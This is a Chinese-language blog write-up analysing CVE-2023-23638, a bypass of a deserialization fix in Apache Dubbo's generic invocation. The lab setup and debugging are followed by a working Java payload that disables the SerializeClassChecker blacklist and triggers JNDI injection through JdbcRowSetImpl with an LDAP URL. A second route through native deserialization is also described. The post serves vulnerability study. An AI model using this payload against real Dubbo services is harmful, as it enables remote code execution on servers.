前言

长期可持续化摸鱼,偶尔学习,这个漏洞是上一篇漏洞的绕过漏洞。


CVE-2023-23638

漏洞影响:

2.7.x <= 2.7.21
3.0.x <= 3.0.13
3.1.x <= 3.1.5

根据文档,2.7.x版本的dubbo需要的zookeeper依赖为dubbo-dependencies-zookeeper,修改pom.xml中的dubbo版本为2.7.21,然后依次启动zookeeper和服务provider启动环境。

发现报错:

zookeeper not connected

但是调试的情况下又可以正常连接,说明问题不出在服务端,看到配置的连接超时时间为3000毫秒即3秒钟,尝试增加连接超时时间,修改provider的application.yml文件:

dubbo:
  application:
    name: dubbo-springboot-demo-provider
  protocol:
    name: dubbo
    port: -1
  registry:
    address: zookeeper://${zookeeper.address:192.168.88.129}:2181
    timeout: 5000

看到provider正常运行了:

[Dubbo] Current Spring Boot Application is await...

发现consumer中3.0版本下用的SimpleReferenceCache没有了,改用ReferenceConfig.get发现传输generic字段好像有点问题。

反复尝试后认为问题出在客户端,看到客户端用的连接字符串是:

dubbo://192.168.160.1:20880/org.apache.dubbo.springboot.demo.DemoService?anyhost=true&application=dubbo-springboot-demo-consumer&check=false&deprecated=false&dubbo=2.0.2&dynamic=true&generic=false&group=group1&interface=org.apache.dubbo.springboot.demo.DemoService&metadata-type=remote&methods=sayHello&pid=21712&qos.enable=false&register.ip=192.168.160.1&release=2.7.21&remote.application=dubbo-springboot-demo-provider&revision=1.0&service.name=ServiceBean:group1/org.apache.dubbo.springboot.demo.DemoService:1.0&side=consumer&sticky=false&timestamp=1683195382649&version=1.0

generic居然是false,难怪会有问题。

既然是URL构造有问题,那么根据参考文章,可以通过自行设置URL的方式解决:

referenceConfig.setUrl("dubbo://192.168.160.1:20880/org.apache.dubbo.springboot.demo.DemoService?" +
        "application=dubbo-springboot-demo-consumer&" +
        "generic=raw.return&" +
        "interface=org.apache.dubbo.springboot.demo.DemoService&" +
        "register.ip=xx.xx.xx.xx&" +
        "remote.application=&scope=remote&" +
        "side=consumer&sticky=false&" +
        "timeout=3000000");
referenceConfig.setGeneric("raw.return");

这下就正常传输generic字段了。

调试一下,如果调用了setURL,就会进入这段代码:

if (url != null && url.length() > 0) { // user specified URL, could be peer-to-peer address, or register center's address.
    String[] us = SEMICOLON_SPLIT_PATTERN.split(url);
    if (us != null && us.length > 0) {
        for (String u : us) {
            URL url = URL.valueOf(u);
            if (StringUtils.isEmpty(url.getPath())) {
                url = url.setPath(interfaceName);
            }
            if (UrlUtils.isRegistry(url)) {
                urls.add(url.addParameterAndEncoded(REFER_KEY, StringUtils.toQueryString(map)));
            } else {
                urls.add(ClusterUtils.mergeUrl(url, map));
            }
        }
    }
}

而如果没有指定URL,就会去访问zookeeper查询服务信息,最后生成两个不同的invoker去访问服务端。

没有指定URL的invoker为MigrationInvoker,生成一个RpcInvocation后,会来到AbstractClusterInvoker类的invoke函数进行attachments的绑定:

// binding attachments into invocation.
Map<String, Object> contextAttachments = RpcContext.getContext().getObjectAttachments();
if (contextAttachments != null && contextAttachments.size() != 0) {
    ((RpcInvocation) invocation).addObjectAttachments(contextAttachments);
}

而前面执行的时候只set了ConsumerUrl,并没有处理这些attachments,导致generic字段没有了。

而指定URL的invoker为FilterNode,后续会走到GenericImplFilter:

String generic = invoker.getUrl().getParameter(GENERIC_KEY);
...
invocation.setAttachment(
        GENERIC_KEY, invoker.getUrl().getParameter(GENERIC_KEY));

将generic字段添加了进去。

利用方式1

观察之前CVE漏洞的修复方式,对raw.return方式的修复方法为黑名单校验:

SerializeClassChecker.getInstance().validateClass((String) className);

黑名单存放在SerializeClassChecker类中,该类是一个单例模式,单例存放在静态属性INSTANCE中,且可以通过修改OPEN_CHECK_CLASS的方式关闭黑名单验证,因此可以使用成员赋值绕过黑名单:

GenericService genericService = buildGenericService("org.apache.dubbo.springboot.demo.DemoService",
        "group1","1.0");
HashMap<String, Object> newChecker = new HashMap<>();
newChecker.put("class", "org.apache.dubbo.common.utils.SerializeClassChecker");
newChecker.put("OPEN_CHECK_CLASS", false);
HashMap<String, Object> map1 = new HashMap<>();
map1.put("class", "org.apache.dubbo.common.utils.SerializeClassChecker");
map1.put("INSTANCE", newChecker);
LinkedHashMap<String, Object> map2 = new LinkedHashMap<>();
map2.put("class", "com.sun.rowset.JdbcRowSetImpl");
map2.put("DataSourceName", "ldap://127.0.0.1:1099/exp");
map2.put("autoCommit", true);
HashMap<String, Object> bigMap = new HashMap<>();
bigMap.put("class", "java.util.HashMap");
bigMap.put("1", map1);
bigMap.put("2", map2);
Object result = genericService.$invoke("sayHello", new String[]{"java.lang.String"}, new Object[]{bigMap});

高版本JDK或许也可以通过System.setProperties修改系统配置来允许JNDI注入?懒得测试了。

利用方式2

对于原生反序列化的限制通过Configuration实现:

Configuration configuration = ApplicationModel.getEnvironment().getConfiguration();
if (!configuration.getBoolean(CommonConstants.ENABLE_NATIVE_JAVA_GENERIC_SERIALIZE, false)) {
    ...
    throw new RpcException(new IllegalStateException(notice));
}

也可以通过System.setProperties修改,然后通过Java原生反序列化完成漏洞利用。


参考

CVE-2021-30179 Dubbo GenericFilter反序列化分析